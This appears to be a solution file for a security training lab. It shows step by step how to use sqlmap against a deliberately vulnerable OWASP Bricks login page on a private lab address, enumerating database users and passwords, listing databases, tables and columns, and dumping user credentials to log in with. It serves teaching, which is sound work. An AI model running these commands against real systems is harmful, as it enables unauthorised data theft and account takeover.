Solution File: Mapping the Database

In this activity, you learned how database attacks are constructed and executed.

1. In owaspbwa:
   - Navigate to OWASP Bricks.
   - Select **Bricks** in the menu bar.
   - Click **Login Pages**.
   - Click **Login #1**.
   - Make sure you click the **x** in the **You are not logged in** box.
   - Copy the URL of the Bricks Login page.
2. In Kali Linux, open a terminal window. Type the command that displays the SQLMap help menu.
   - Run `sqlmap –h` to see the available options.

   Clear the screen.
3. In Kali Linux at the SQL prompt, type the `sqlmap` command that enumerates database users. Use the URL from the owaspbwa Bricks Login screen:

   -
     ```
     sqlmap -u http://172.16.203.141/owaspbricks/login-1/ --dbms=mysql --forms --users
     ```
4. We can see that there is a MySQL database management system running on the back-end server, which is Linux Ubuntu. Run the command that enumerates user passwords:

   -
     ```
     sqlmap -u http://172.16.203.141/owaspbricks/login-1/ --dbms=mysql --forms --users --passwords
     ```
5. With this information, we can perform deeper scans that reveal even more information.

   Enumerate all of the back-end databases:

   -
     ```
     sqlmap -u http://172.16.203.141/owaspbricks/login-1/ --dbms=mysql --forms --dbs
     ```
6. As a cybercriminal, the database listing is particularly valuable because it can be used to connect to other databases containing credit card information and social security numbers.

   Run the command that enumerates all tables in the `bricks` database:

   -
     ```
     sqlmap -u http://172.16.203.141/owaspbricks/login-1/ --dbms=mysql --forms -D bricks --tables
     ```
7. Enumerate all columns for the `users` table in the `bricks` database:

   -
     ```
     sqlmap -u http://172.16.203.141/owaspbricks/login-1/ --dbms=mysql --forms -D bricks -T users --columns
     ```
8. At this stage, attackers will be able to perform data extraction with the information gathered up to this point.

   Type the command that dumps only the names, passwords, and emails from the selected columns:

   -
     ```
     sqlmap -u http://172.16.203.141/owaspbricks/login-1/ --dbms=mysql --forms -D bricks -T users -C name,password,email --dump
     ```
9. Return to the web browser at the Bricks Login page and test a few of the username and password combinations to see if they work. You should gain access to the network.